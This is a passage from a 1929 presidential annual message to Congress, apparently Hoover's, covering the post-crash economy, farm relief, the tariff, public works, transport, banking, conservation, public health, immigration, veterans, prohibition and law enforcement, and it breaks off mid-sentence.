normal channels of business. There has been no inflation in the prices\nof commodities; there has been no undue accumulation of goods, and foreign\ntrade has expanded to a magnitude which exerts a steadying influence upon\nactivity in industry and employment.The sudden threat of unemployment and especially the recollection of the\neconomic consequences of previous crashes under a much less secured\nfinancial system created unwarranted pessimism and fear. It was recalled\nthat past storms of similar character had resulted in retrenchment of\nconstruction, reduction of wages, and laying off of workers. The natural\nresult was the tendency of business agencies throughout the country to\npause in their plans and proposals for continuation and extension of their\nbusinesses, and this hesitation unchecked could in itself intensify into a\ndepression with widespread unemployment and suffering.I have, therefore, instituted systematic, voluntary measures of cooperation\nwith the business institutions and with State and municipal authorities to\nmake certain that fundamental businesses of the country shall continue as\nusual, that wages and therefore consuming power shall not be reduced, and\nthat a special effort shall be made to expand construction work in order to\nassist in equalizing other deficits in employment. Due to the enlarged\nsense of cooperation and responsibility which has grown in the business\nworld during the past few years the response has been remarkable and\nsatisfactory. We have canvassed the Federal Government and instituted\nmeasures of prudent expansion in such work that should be helpful, and upon\nwhich the different departments will make some early recommendations to\nCongress.I am convinced that through these measures we have reestablished\nconfidence. Wages should remain stable. A very large degree of industrial\nunemployment and suffering which would otherwise have occurred has been\nprevented. Agricultural prices have reflected the returning confidence. The\nmeasures taken must be vigorously pursued until normal conditions are\nrestored.AGRICULTUREThe agricultural situation is improving. The gross farm income as estimated\nby the Department of Agriculture for the crop season 1926-27 was\n$12,100,000,000; for 1927-28 it was $12,300,000,000; for 1928-29 it was\n$12,500,000,000; and estimated on the basis of prices since the last\nharvest the value of the 1929-30 crop would be over $12,650,000,000. The\nslight decline in general commodity prices during the past few years\nnaturally assists the farmers' buying power.The number of farmer bankruptcies is very materially decreased below\nprevious years. The decline in land values now seems to be arrested and\nrate of movement from the farm to the city has been reduced. Not all\nsections of agriculture, of course, have fared equally, and some areas have\nsuffered from drought. Responsible farm leaders have assured me that a\nlarge measure of confidence is returning to agriculture and that a feeling\nof optimism pervades that industry.The most extensive action for strengthening the agricultural industry ever\ntaken by any government was inaugurated through the farm marketing act of\nJune 15 last. Under its provisions the Federal Farm Board has been\nestablished, comprised of men long and widely experienced in agriculture\nand sponsored by the farm organizations of the country. During its short\nperiod of existence the board has taken definite steps toward a more\nefficient organization of agriculture, toward the elimination of waste in\nmarketing, and toward the upbuilding of farmers' marketing organizations on\nsounder and more efficient lines. Substantial headway has been made in the\norganization of four of the basic commodities--grain, cotton, livestock,\nand wool. Support by the board to cooperative marketing organizations and\nother board activities undoubtedly have served to steady the farmers'\nmarket during the recent crisis and have operated also as a great stimulus\nto the cooperative organization of agriculture. The problems of the\nindustry are most complex, and the need for sound organization is\nimperative. Yet the board is moving rapidly along the lines laid out for it\nin the act, facilitating the creation by farmers of farmer-owned and\nfarmer-controlled organizations and federating them into central\ninstitutions, with a view to increasing the bargaining power of\nagriculture, preventing and controlling surpluses, and mobilizing the\neconomic power of agriculture.THE TARIFFThe special session of Congress was called to expedite the fulfillment of\nparty pledges of agricultural relief and the tariff. The pledge of farm\nrelief has been carried out. At that time I stated the principles upon\nwhich I believed action should be taken in respect to the tariff: \"An\neffective tariff upon agricultural products, that will compensate the\nfarmer's higher costs and higher standards of living, has a dual purpose.\nSuch a tariff not only protects the farmer in our domestic market but it\nalso stimulates him to diversify his crops and to grow products that he\ncould not otherwise produce, and thus lessens his dependence upon exports\nto foreign markets. The great expansion of production abroad under the\nconditions I have mentioned renders foreign competition in our export\nmarkets increasingly serious. It seems but natural, therefore, that the\nAmerican farmer, having been greatly handicapped in his foreign market by\nsuch competition from the younger expanding countries, should ask that\nforeign access to our domestic market should be regulated by taking into\naccount the differences in our costs of production.\"In considering the tariff for other industries than agriculture, we find\nthat there have been economic shifts necessitating a readjustment of some\nof the tariff schedules. Seven years of experience under the tariff bill\nenacted in 1922 have demonstrated the wisdom of Congress in the enactment\nof that measure. On the whole it has worked well. In the main our wages\nhave been maintained at high levels; our exports and imports have steadily\nincreased; with some exceptions our manufacturing industries have been\nprosperous. Nevertheless, economic changes have taken place during that\ntime which have placed certain domestic products at a disadvantage and new\nindustries have come into being, all of which create the necessity for some\nlimited changes in the schedules and in the administrative clauses of the\nlaws as written in 1922.\"It would seem to me that the test of necessity for revision is, in the\nmain, whether there has been a substantial slackening of activity in an\nindustry during the past few years, and a consequent decrease of employment\ndue to insurmountable competition in the products of that industry. It is\nnot as if we were setting up a new basis of protective duties. We did that\nseven years ago. What we need to remedy now is whatever substantial loss of\nemployment may have resulted from shifts since that time.\"In determining changes in our tariff we must not fail to take into account\nthe broad interests of the country as a whole, and such interests include\nour trade relations with other countries.\" No condition has arisen in my\nview to change these principles stated at the opening of the special\nsession. I am firmly of the opinion that their application to the pending\nrevision will give the country the kind of a tariff law it both needs and\nwants. It would be most helpful if action should be taken at an early\nmoment, more especially at a time when business and agriculture are both\ncooperating to minimize future uncertainties. It is just that they should\nknow what the rates are to be.Even a limited revision requires the consideration and readjustment of many\nitems. The exhaustive inquiries and valuable debate from men representative\nof all parts of the country which is needed to determine the detailed rates\nmust necessarily be accomplished in the Congress. However perfectly this\nrate structure may be framed at any given time, the shifting of economic\nforces which inevitably occurs will render changes in some items desirable\nbetween the necessarily long intervals of congressional revision.\nInjustices are bound to develop, such as were experienced by the dairymen,\nthe flaxseed producers, the glass industry, and others, under the 1922\nrates. For this reason, I have been most anxious that the broad principle\nof the flexible tariff as provided in the existing law should be preserved\nand its delays in action avoided by more expeditious methods of determining\nthe costs of production at home and abroad, with executive authority to\npromulgate such changes upon recommendation of the Tariff Commission after\nexhaustive investigation. Changes by the Congress in the isolated items\nsuch as those to which I have referred would have been most unlikely both\nbecause of the concentrations of oppositions in the country, who could see\nno advantage to their own industry or State, and because of the difficulty\nof limiting consideration by the Congress to such isolated cases.There is no fundamental conflict between the interests of the farmer and\nthe worker. Lowering of the standards of living of either tends to destroy\nthe other. The prosperity of one rests upon the well-being of the other.\nNor is there any real conflict between the East and the West or the North\nand the South in the United States. The complete interlocking of economic\ndependence, the common striving for social and spiritual progress, our\ncommon heritage as Americans, and the infinite web of national sentiment,\nhave created a solidarity in a great people unparalleled in all human\nhistory. These invisible bonds should not and can not be shattered by\ndifferences of opinion growing out of discussion of a tariff.PUBLIC BUILDINGSUnder the provisions of various acts of Congress $300,000,000 has been\nauthorized for public buildings and the land upon which to construct them,\nbeing $75,000,000 for the District of Columbia and $225,000,000 for the\ncountry at large. Excluding $25,000,000 which is for the acquisition of\nland in the so-called \"triangle\" in this city, this public building\nlegislation provides for a five-year program for the District of Columbia\nand between an eight and nine year program for the country at large. Of\nthis sum approximately $27,400,000 was expended up to June 30 last, of\nwhich $11,400,000 has been expended in the District and $16,000,000\noutside.Even this generous provision for both the District of Columbia and the\ncountry is insufficient For most pressing governmental needs. Expensive\nrents and inadequate facilities are extravagance and not economy. In the\nDistrict even after the completion of these projects we shall have fully\n20,000 clerks housed in rented and temporary war buildings which can last\nbut a little longer.I therefore recommend that consideration should be given to the extension\nof authorizations both for the country at large and for the District of\nColumbia again distributed over a term of years. A survey of the need in\nboth categories has been made by the Secretary of the Treasury and the\nPostmaster General. It would be helpful in the present economic situation\nif such steps were taken as would enable early construction work.An expedition and enlargement of the program in the District would bring\nabout direct economies in construction by enabling the erection of\nbuildings in regular sequence. By maintaining a stable labor force in the\ncity, contracts can be made on more advantageous terms.The earlier completion of this program which is an acknowledged need would\nadd dignity to the celebration in 1932 of the two hundredth anniversary of\nthe birth of President Washington.In consideration of these projects which contribute so much to dignify the\nNational Capital I should like to renew the suggestion that the Fine Arts\nCommission should be required to pass upon private buildings which are\nproposed for sites facing upon public buildings and parks. Without such\ncontrol much of the effort of the Congress in beautification of the Capital\nwill be minimized.THE WATERWAYS AND FLOOD CONTROLThe development of inland waterways has received new impulse from the\ncompletion during this year of the canalization of the Ohio to a uniform\n9-foot depth. The development of the other segments of the Mississippi\nsystem should be expedited and with this in view I am recommending an\nincrease in appropriations for rivers and harbors from $50,000,000 to\n$55,000,000 per annum which, together with about $4,000,000 per annum\nreleased by completion of the Ohio, should make available after providing\nfor other river and harbor works a sum of from $25,000,000 to $30,000,000\nper annum for the Mississippi system and thus bring it to early\ncompletion.Conflict of opinion which has arisen over the proposed floodway from the\nArkansas River to the Gulf of Mexico via the Atchafalaya River has led me\nto withhold construction upon this portion of the Mississippi flood control\nplan until it could be again reviewed by the engineers for any further\nrecommendation to Congress. The other portions of the project are being\nvigorously prosecuted and I have recommended an increase in appropriations\nfor this from $30,000,000 of the present year to $35,000,000 during the\nnext fiscal year.Expansion of our intracoastal waterways to effective barge depths is well\nwarranted. We are awaiting the action of Canada upon the St. Lawrence\nwaterway project.HIGHWAYSThere are over 3,000,000 miles of legally established highways in the\nUnited States, of which about 10 per cent are included in the State highway\nsystems, the remainder being county and other local roads. About 626,000\nmiles have been improved with some type of surfacing, comprising some 63\nper cent of the State highway systems and 16 per cent of the local roads.\nOf the improved roads about 102,000 miles are hard surfaced, comprising\nabout 22 per cent of the State highway systems and about 8 per cent of the\nlocal roads.While proper planning should materially reduce the listed mileage of public\nroads, particularly in the agricultural districts, and turn these roads\nback to useful purposes, it is evident that road construction must be a\nlong-continued program. Progress in improvement is about 50,000 miles of\nall types per annum, of which some 12,000 miles are of the more durable\ntypes. The total expenditures of Federal, State, and local governments last\nyear for construction and maintenance assumed the huge total of\n$1,660,000,000.Federal aid in the construction of the highway systems in conjunction with\nthe States has proved to be beneficial and stimulating. We must ultimately\ngive consideration to the increase of our contribution to these systems,\nparticularly with a view to stimulating the improvement of farm-to-market\nroads.POST OFFICEOur Post Office deficit has now increased to over $80,000,000 a year, of\nwhich perhaps $14,000,000 is due to losses on ocean mail and air mail\ncontracts. The department is making an exhaustive study of the sources of\nthe deficit with view to later recommendation to Congress in respect to\nit.The Post Office quarters are provided in part by the Federal construction,\nin part by various forms of rent and lease arrangements. The practice has\ngrown up in recent years of contracting long term leases under which both\nrent and amortization principal cost of buildings is included. I am advised\nthat fully 40 per cent could be saved from many such rent and lease\nagreements even after allowing interest on the capital required at the\nnormal Government rate. There are also many objectionable features to some\nof these practices. The provision of adequate quarters for the Post Office\nshould be put on a sound basis.A revision of air mail rates upon a more systematic and permanent footing\nis necessary. The subject is under study, and if legislation should prove\nnecessary the subject will be presented to the Congress. In the meantime I\nrecommend that the Congress should consider the desirability of authorizing\nfurther expansion of the South American services.COMMERCIAL AVIATIONDuring the past year progress in civil aeronautics has been remarkable.\nThis is to a considerable degree due to the wise assistance of the Federal\nGovernment through the establishment and maintenance of airways by the\nDepartment of Commerce and the mail contracts from the Post Office\nDepartment. The Government-improved airways now exceed 25,000 miles--more\nthan 14,000 miles of which will be lighted and equipped for night-flying\noperations by the close of the current year. Airport construction through\nall the States is extremely active. There are now 1,000 commercial and\nmunicipal airports in operation with an additional 1,200 proposed for early\ndevelopment.Through this assistance the Nation is building a sound aviation system,\noperated by private enterprise. Over 6,400 planes are in commercial use,\nand 9,400 pilots are licensed by the Government. Our manufacturing capacity\nhas risen to 7,500 planes per annum. The aviation companies have increased\nregular air transportation until it now totals 90,000 miles per\nday--one-fourth of which is flown by night. Mail and express services now\nconnect our principal cities, and extensive services for passenger\ntransportation have been inaugurated, and others of importance are\nimminent. American air lines now reach into Canada and Mexico, to Cuba,\nPorto Rico, Central America, and most of the important countries of South\nAmerica.RAILWAYSAs a whole, the railroads never were in such good physical and financial\ncondition, and the country has never been so well served by them. The\ngreatest volume of freight traffic ever tendered is being carried at a\nspeed never before attained and with satisfaction to the shippers.\nEfficiencies and new methods have resulted in reduction in the cost of\nproviding freight transportation, and freight rates show a continuous\ndescending line from the level enforced by the World War.We have, however, not yet assured for the future that adequate system of\ntransportation through consolidations which was the objective of the\nCongress in the transportation act. The chief purpose of consolidation is\nto secure well-balanced systems with more uniform and satisfactory rate\nstructure, a more stable financial structure, more equitable distribution\nof traffic, greater efficiency, and single-line instead of multiple-line\nhauls. In this way the country will have the assurance of better service\nand ultimately at lower and more even rates than would otherwise be\nattained. Legislation to simplify and expedite consolidation methods and\nbetter to protect public interest should be enacted.Consideration should also be given to relief of the members of the\nCommission from the necessity of detailed attention to comparatively\ninconsequential matters which, under the existing law, must receive their\ndirect and personal consideration. It is in the public interest that the\nmembers of the Commission should not be so pressed by minor matters that\nthey have inadequate time for investigation and consideration of the larger\nquestions committed to them for solution. As to many of these minor\nmatters, the function of the Commission might well be made revisory, and\nthe primary responsibility delegated to subordinate officials after the\npractice long in vogue in the executive departments.MERCHANT MARINEUnder the impulse of the merchant marine act of 1928 the transfer to\nprivate enterprise of the Government-owned steamship lines is going forward\nwith increasing success. The Shipping Board now operates about 18 lines,\nwhich is less than half the number originally established, and the estimate\nof expenditures for the coming fiscal year is based upon reduction in\nlosses on Government lines by approximately one-half. Construction loans\nhave been made to the amount of approximately $75,000,000 out of the\nrevolving fund authorized by Congress and have furnished an additional aid\nto American shipping and further stimulated the building of vessels in\nAmerican yards.Desirous of securing the full values to the Nation of the great effort to\ndevelop our merchant marine by the merchant marine act soon after the\ninauguration of the present administration, I appointed an\ninterdepartmental committee, consisting of the Secretary of Commerce, as\nchairman, the Secretary of the Navy, the Postmaster General, and the\nchairman of the Shipping Board, to make a survey of the policies being\npursued under the act of 1928 in respect of mail contracts; to inquire into\nits workings and to advise the Postmaster General in the administration of\nthe act.In particular it seemed to me necessary to determine if the result of the\ncontracts already let would assure the purpose expressed in the act, \"to\nfurther develop an American merchant marine, to assure its permanence in\nthe transportation of the foreign trade of the United States, and for other\npurposes,\" and to develop a coordinated policy by which these purposes may\nbe translated into actualities.In review of the mail contracts already awarded it was found that they\naggregated 25 separate awards imposing a governmental obligation of a\nlittle over $12,000,000 per annum. Provision had been imposed in five of\nthe contracts for construction of new vessels with which to replace and\nexpand services. These requirements come to a total of 12 vessels in the\n10-year period, aggregating 122,000 tons. Some other conditions in the\ncontracts had not worked out satisfactorily.That study has now been substantially completed and the committee has\nadvised the desirability and the necessity of securing much larger\nundertakings as to service and new construction in future contracts. The\ncommittee at this time is recommending the advertising of 14 additional\nroutes, making substantial requirements for the construction of new vessels\nduring the life of each contract recommended. A total of 40 new vessels\nwill be required under the contracts proposed, about half of which will be\nrequired to be built during the next three years. The capital cost of this\nnew construction will be approximately $250,000,000, involving\napproximately 460,000 gross tons. Should bidders be found who will make\nthese undertakings, it will be necessary to recommend to Congress an\nincrease in the authorized expenditure by the Post Office of about\n$5,500,000 annually. It will be most advantageous to grant such an\nauthority.A conflict as to the administration of the act has arisen in the contention\nof persons who have purchased Shipping Board vessels that they are entitled\nto mail contracts irrespective of whether they are the lowest bidder, the\nPost Office, on the other hand, being required by law to let contracts in\nthat manner. It is urgent that Congress should clarify this situation.THE BANKING SYSTEMIt is desirable that Congress should consider the revision of some portions\nof the banking law.The development of \"group\" and \"chain\" banking presents many new problems.\nThe question naturally arises as to whether if allowed to expand without\nrestraint these methods would dangerously concentrate control of credit,\nand whether they would not in any event seriously threaten one of the\nfundamentals of the American credit system--which is that credit which is\nbased upon banking deposits should be controlled by persons within those\nareas which furnish these deposits and thus be subject to the restraints of\nlocal interest and public opinion in those areas. To some degree, however,\nthis movement of chain or group banking is a groping for stronger support\nto the banks and a more secure basis for these institutions.The growth in size and stability of the metropolitan banks is in marked\ncontrast to the trend in the country districts, with its many failures and\nthe losses these failures have imposed upon the agricultural community.The relinquishment of charters of national banks in great commercial\ncenters in favor of State charters indicates that some conditions surround\nthe national banks which render them unable to compete with State banks;\nand their withdrawal results in weakening our national banking system.It has been proposed that permission should be granted to national banks to\nengage in branch banking of a nature that would preserve within limited\nregions the local responsibility and the control of such credit\ninstitutions.All these subjects, however, require careful investigation, and it might be\nfound advantageous to create a joint commission embracing Members of the\nCongress and other appropriate Federal officials for subsequent report.ELECTRICAL POWER REGULATIONThe Federal Power Commission is now comprised of three Cabinet officers,\nand the duties involved in the competent conduct of the growing\nresponsibilities of this commission far exceed the time and attention which\nthese officials can properly afford from other important duties. I\nrecommended that authority be given for the appointment of full-time\ncommissioners to replace them.It is also desirable that the authority of the commission should be\nextended to certain phases of power regulation. The nature of the electric\nutilities industry is such that about 90 per cent of all power generation\nand distribution is intrastate in character, and most of the States have\ndeveloped their own regulatory systems as to certificates of convenience,\nrates, and profits of such utilities. To encroach upon their authorities\nand responsibilities would be an encroachment upon the rights of the\nStates. There are cases, however, of interstate character beyond the\njurisdiction of the States. To meet these cases it would be most desirable\nif a method could be worked out by which initial action may be taken\nbetween the commissions of the States whose joint action should be made\neffective by the Federal Power Commission with a reserve to act on its own\nmotion in case of disagreement or nonaction by the States.THE RADIO COMMISSIONI recommend the reorganization of the Radio Commission into a permanent\nbody from its present temporary status. The requirement of the present law\nthat the commissioners shall be appointed from specified zones should be\nabolished and a general provision made for their equitable selection from\ndifferent parts of the country. Despite the effort of the commissioners,\nthe present method develops a public insistence that the commissioners are\nspecially charged with supervision of radio affairs in the zone from which\neach is appointed. As a result there is danger that the system will\ndegenerate from a national system into five regional agencies with varying\npractices, varying policies, competitive tendencies, and consequent failure\nto attain its utmost capacity for service to the people as a whole.MUSCLE SHOALSIt is most desirable that this question should be disposed of. Under\npresent conditions the income from these plants is less than could\notherwise be secured for its use, and more especially the public is not\nsecuring the full benefits which could be obtained from them.It is my belief that such parts of these plants as would be useful and the\nrevenues from the remainder should be dedicated for all time to the farmers\nof the United States for investigation and experimentation on a commercial\nscale in agricultural chemistry. By such means advancing discoveries of\nscience can be systematically applied to agricultural need, and development\nof the chemical industry of the Tennessee Valley can be assured.I do not favor the operation by the Government of either power or\nmanufacturing business except as an unavoidable by-product of some other\nmajor public purpose.Any form of settlement of this question will imply entering upon a contract\nor contracts for the lease of the plants either as a whole or in parts and\nthe reservation of facilities, products, or income for agricultural\npurposes. The extremely technical and involved nature of such contracts\ndealing with chemical and electrical enterprises, added to the unusual\ndifficulties surrounding these special plants, and the rapid commercial\nchanges now in progress in power and synthetic nitrogen manufacture, lead\nme to suggest that Congress create a special commission, not to investigate\nand report as in the past, but with authority to negotiate and complete\nsome sort of contract or contracts on behalf of the Government, subject, of\ncourse, to such general requirements as Congress may stipulate.BOULDER DAMThe Secretary of the Interior is making satisfactory progress in\nnegotiation of the very complex contracts required for the sale of the\npower to be generated at this project. These contracts must assure the\nreturn of all Government outlays upon the project. I recommend that the\nnecessary funds be appropriated for the initiation of this work as soon as\nthe contracts are in the hands of Congress.CONSERVATIONConservation of national resources is a fixed policy of the Government.\nThree important questions bearing upon conservation of the public lands\nhave become urgent.Conservation of our oil and gas resources against future need is a national\nnecessity. The working of the oil permit system in development of oil and\ngas resources on the public domain has been subject to great abuse. I\nconsidered it necessary to suspend the issuance of such permits and to\ndirect the review of all outstanding permits as to compliance of the\nholders with the law. The purpose was not only to end such abuse but to\nplace the Government in position to review the entire subject.We are also confronted with a major problem in conservation due to the\novergrazing on public lands. The effect of overgrazing (which has now\nbecome general) is not only to destroy the ranges but by impairing the\nground coverage seriously to menace the water supply in many parts of the\nWest through quick run-off, spring floods, and autumn drought.We have a third problem of major dimensions in the reconsideration of our\nreclamation policy. The inclusion of most of the available lands of the\npublic domain in existing or planned reclamation projects largely completes\nthe original purpose of the Reclamation Service. There still remains the\nnecessity for extensive storage of water in the arid States which renders\nit desirable that we should give a wider vision and purpose to this\nservice.To provide for careful consideration of these questions and also of better\ndivision of responsibilities in them as between the State and Federal\nGovernments, including the possible transfer to the States for school\npurposes of the lands unreserved for forests, parks, power, minerals, etc.,\nI have appointed a Commission on Conservation of the Public Domain, with a\nmembership representing the major public land States and at the same time\nthe public at large. I recommend that Congress should authorize a moderate\nsum to defray their expenses.SOCIAL SERVICEThe Federal Government provides for an extensive and valuable program of\nconstructive social service, in education, home building, protection to\nwomen and children, employment, public health, recreation, and many other\ndirections.In a broad sense Federal activity in these directions has been confined to\nresearch and dissemination of information and experience, and at most to\ntemporary subsidies to the States in order to secure uniform advancement in\npractice and methods. Any other attitude by the Federal Government will\nundermine one of the most precious possessions of the American people; that\nis, local and individual responsibility. We should adhere to this policy.Federal officials can, however, make a further and most important\ncontribution by leadership in stimulation of the community and voluntary\nagencies, and by extending Federal assistance in organization of these\nforces and bringing about cooperation among them.As an instance of this character, I have recently, in cooperation with the\nSecretaries of Interior and Labor, laid the foundations of an exhaustive\ninquiry into the facts precedent to a nation-wide White House conference on\nchild health and protection. This cooperative movement among interested\nagencies will impose no expense upon the Government. Similar nation-wide\nconferences will be called in connection with better housing and recreation\nat a later date.In view of the considerable difference of opinion as to the policies which\nshould be pursued by the Federal Government with respect to education, I\nhave appointed a committee representative of the important educational\nassociations and others to investigate and present recommendations. In\ncooperation with the Secretary of the Interior, I have also appointed a\nvoluntary committee of distinguished membership to assist in a nation-wide\nmovement for abolition of illiteracy.I have recommended additional appropriations for the Federal employment\nservice in order that it may more fully cover its cooperative work with\nState and local services. I have also recommended additional appropriations\nfor the Women's and Children's Bureaus for much needed research as to facts\nwhich I feel will prove most helpful.PUBLIC HEALTHThe advance in scientific discovery as to disease and health imposes new\nconsiderations upon us. The Nation as a whole is vitally interested in the\nhealth of all the people; in protection from spread of contagious disease;\nin the relation of physical and mental disabilities to criminality; and in\nthe economic and moral advancement which is fundamentally associated with\nsound body and mind. The organization of preventive measures and health\neducation in its personal application is the province of public health\nservice. Such organization should be as universal as public education. Its\nsupport is a proper burden upon the taxpayer. It can not be organized with\nsuccess, either in its sanitary or educational phases, except under public\nauthority. It should be based upon local and State responsibility, but I\nconsider that the Federal Government has an obligation of contribution to\nthe establishment of such agencies.In the practical working out of organization, exhaustive experiment and\ntrial have demonstrated that the base should be competent organization of\nthe municipality, county, or other local unit. Most of our municipalities\nand some 400 rural counties out of 3,000 now have some such unit\norganization. Where highly developed, a health unit comprises at least a\nphysician, sanitary engineer, and community nurse with the addition, in\nsome cases, of another nurse devoted to the problems of maternity and\nchildren. Such organization gives at once a fundamental control of\npreventive measures and assists in community instruction. The Federal\nGovernment, through its interest in control of contagion, acting through\nthe United States Public Health Service and the State agencies, has in the\npast and should in the future concern itself with this development,\nparticularly in the many rural sections which are unfortunately far behind\nin progress. Some parts of the funds contributed under the Sheppard-Towner\nAct through the Children's Bureau of the Department of Labor have also\nfound their way into these channels.I recommend to the Congress that the purpose of the Sheppard-Towner Act\nshould be continued through the Children's Bureau for a limited period of\nyears; and that the Congress should consider the desirability of confining\nthe use of Federal funds by the States to the building up of such county or\nother local units, and that such outlay should be positively coordinated\nwith the funds expended through the United States Public Health Service\ndirected to other phases of the same county or other local unit\norganization. All funds appropriated should of course be applied through\nthe States, so that the public health program of the county or local unit\nwill be efficiently coordinated with that of the whole State.FEDERAL PRISONSClosely related to crime conditions is the administration of the Federal\nprison system. Our Federal penal institutions are overcrowded, and this\ncondition is daily becoming worse. The parole and probation systems are\ninadequate. These conditions make it impossible to perform the work of\npersonal reconstruction of prisoners so as to prepare them for return to\nthe duties of citizenship. In order to relieve the pressing evils I have\ndirected the temporary transfer of the Army Disciplinary Barracks at\nLeavenworth to the Department of Justice for use as a Federal prison. Not\nonly is this temporary but it is inadequate for present needs.We need some new Federal prisons and a reorganization of our probation and\nparole systems; and there should be established in the Department of\nJustice a Bureau of Prisons with a sufficient force to deal adequately with\nthe growing activities of our prison institutions. Authorization for the\nimprovements should be given speedily, with initial appropriations to allow\nthe construction of the new institutions to be undertaken at once.\nIMMIGRATIONRestriction of immigration has from every aspect proved a sound national\npolicy. Our pressing problem is to formulate a method by which the limited\nnumber of immigrants whom we do welcome shall be adapted to our national\nsetting and our national needs.I have been opposed to the basis of the quotas now in force and I have\nhoped that we could find some practical method to secure what I believe\nshould be our real national objective; that is, fitness of the immigrant as\nto physique, character, training, and our need of service. Perhaps some\nsystem of priorities within the quotas could produce these results and at\nthe same time enable some hardships in the present system to be cleared up.\nI recommend that the Congress should give the subject further study, in\nwhich the executive departments will gladly cooperate with the hope of\ndiscovering such method as will more fully secure our national necessities.\nVETERANSIt has been the policy of our Government almost from its inception to make\nprovision for the men who have been disabled in defense of our country.\nThis policy should be maintained. Originally it took the form of land\ngrants and pensions. This system continued until our entry into the World\nWar. The Congress at that time inaugurated a new plan of compensation,\nrehabilitation, hospitalization, medical care and treatment, and insurance,\nwhereby benefits were awarded to those veterans and their immediate\ndependents whose disabilities were attributable to their war service. The\nbasic principle in this legislation is sound.In a desire to eliminate all possibilities of injustice due to difficulties\nin establishing service connection of disabilities, these principles have\nbeen to some degree extended. Veterans whose diseases or injuries have\nbecome apparent within a brief period after the war are now receiving\ncompensation; insurance benefits have been liberalized. Emergency officers\nare now receiving additional benefits. The doors of the Government's\nhospitals have been opened to all veterans, even though their diseases or\ninjuries were not the result of their war service. In addition adjusted\nservice certificates have been issued to 3,433,300 veterans. This in itself\nwill mean an expenditure of nearly $3,500,000,000 before 1945, in addition\nto the $600,000,000 which we are now appropriating annually for our\nveterans' relief.The administration of all laws concerning the veterans and their dependents\nhas been upon the basis of dealing generously, humanely, and justly. While\nsome inequalities have arisen, substantial and adequate care has been given\nand justice administered. Further improvement in administration may require\nsome amendment from time to time to the law, but care should be taken to\nsee that such changes conform to the basic principles of the legislation.I am convinced that we will gain in efficiency, economy, and more uniform\nadministration and better definition of national policies if the Pension\nBureau, the National Home for Volunteer Soldiers, and the Veterans' Bureau\nare brought together under a single agency. The total appropriations to\nthese agencies now exceed $800,000,000 per annum.CIVIL SERVICEApproximately four-fifths of all the employees in the executive civil\nservice now occupy positions subject to competitive examination under the\ncivil service law.There are, however, still commanding opportunities for extending the\nsystem. These opportunities lie within the province of Congress and not the\nPresident. I recommend that a further step be taken by authorization that\nappointments of third-class postmasters be made under the civil service\nlaw.DEPARTMENTAL REORGANIZATIONThis subject has been under consideration for over 20 years. It was\npromised by both political parties in the recent campaign. It has been\nrepeatedly examined by committees and commissions--congressional,\nexecutive, and voluntary. The conclusions of these investigations have been\nunanimous that reorganization is a necessity of sound administration; of\neconomy; of more effective governmental policies and of relief to the\ncitizen from unnecessary harassment in his relations with a multitude of\nscattered governmental agencies. But the presentation of any specific plan\nat once enlivens opposition from every official whose authority may be\ncurtailed or who fears his position is imperiled by such a result; of\nbureaus and departments which wish to maintain their authority and\nactivities; of citizens and their organizations who are selfishly\ninterested, or who are inspired by fear that their favorite bureau may, in\na new setting, be less subject to their influence or more subject to some\nother influence.It seems to me that the essential principles of reorganization are two in\nnumber. First, all administrative activities of the same major purpose\nshould be placed in groups under single-headed responsibility; second, all\nexecutive and administrative functions should be separated from boards and\ncommissions and placed under individual responsibility, while\nquasi-legislative and quasi-judicial and broadly advisory functions should\nbe removed from individual authority and assigned to boards and\ncommissions. Indeed, these are the fundamental principles upon which our\nGovernment was founded, and they are the principles which have been adhered\nto in the whole development of our business structure, and they are the\ndistillation of the common sense of generations.For instance, the conservation of national resources is spread among eight\nagencies in five departments. They suffer from conflict and overlap. There\nis no proper development and adherence to broad national policies and no\ncentral point where the searchlight of public opinion may concentrate\nitself. These functions should be grouped under the direction of some such\nofficial as an assistant secretary of conservation. The particular\ndepartment or cabinet officer under which such a group should be placed is\nof secondary importance to the need of concentration. The same may be said\nof educational services, of merchant marine aids, of public works, of\npublic health, of veterans' services, and many others, the component parts\nof which are widely scattered in the various departments and independent\nagencies. It is desirable that we first have experience with these\ndifferent groups in action before we create new departments. These may be\nnecessary later on.With this background of all previous experience I can see no hope for the\ndevelopment of a sound reorganization of the Government unless Congress be\nwilling to delegate its authority over the problem (subject to defined\nprinciples) to the Executive, who should act upon approval of a joint\ncommittee of Congress or with the reservation of power of revision by\nCongress within some limited period adequate for its consideration.\nPROHIBITIONThe first duty of the President under his oath of office is to secure the\nenforcement of the laws. The enforcement of the laws enacted to give effect\nto the eighteenth amendment is far from satisfactory and this is in part\ndue to the inadequate organization of the administrative agencies of the\nFederal Government. With the hope of expediting such reorganization, I\nrequested on June 6 last that Congress should appoint a joint committee to\ncollaborate with executive agencies in preparation of legislation. It would\nbe helpful if it could be so appointed. The subject has been earnestly\nconsidered by the Law Enforcement Commission and the administrative\nofficials of the Government. Our joint conclusions are that certain steps\nshould be taken at once. First, there should be an immediate concentration\nof responsibility and strengthening of enforcement agencies of the Federal\nGovernment by transfer to the Department of Justice of the Federal\nfunctions of detection and to a considerable degree of prosecution, which\nare now lodged in the Prohibition Bureau in the Treasury; and at the same\ntime the control of the distribution of industrial alcohol and legalized\nbeverages should remain in the Treasury. Second, provision should be made\nfor relief of congestion in the Federal courts by modifying and simplifying\nthe procedure for dealing with the large volume of petty prosecutions under\nvarious Federal acts. Third, there should be a codification of the laws\nrelating to prohibition to avoid the necessity which now exists of\nresorting to more than 25 statutes enacted at various times over 40 years.\nTechnical defects in these statutes that have been disclosed should be\ncured. I would add to these recommendations the desirability of\nreorganizing the various services engaged in the prevention of smuggling\ninto one border patrol under the Coast Guard. Further recommendations upon\nthe subject as a whole will be developed after further examination by the\nLaw Enforcement Commission, but it is not to be expected that any criminal\nlaw will ever be fully enforced so long as criminals exist.The District of Columbia should be the model of city law enforcement in the\nNation. While conditions here are much better than in many other cities,\nthey are far from perfect, and this is due in part to the congestion of\ncriminal cases in the Supreme Court of the District, resulting in long\ndelays. Furthermore, there is need for legislation in the District\nsupplementing the national prohibition act, more sharply defining and\nenlarging the duties and powers of the District Commissioners and the\npolice of the District, and opening the way for better cooperation in the\nenforcement of prohibition between the District officials and the\nprohibition officers of the Federal Government. It is urgent that these\nconditions be remedied.LAW ENFORCEMENT AND OBSERVANCENo one will look with satisfaction upon the volume of crime of all kinds\nand the growth of organized crime in our country. We have pressing need so\nto organize our system of administering criminal justice as to establish\nfull vigor and effectiveness. We need to reestablish faith that the highest\ninterests of our country are served by insistence upon the swift and\neven-handed administration of justice to all offenders, whether they be\nrich or poor. That we shall effect improvement is vital to the preservation\nof our institutions. It is the most serious issue before our people.Under the authority of Congress I have 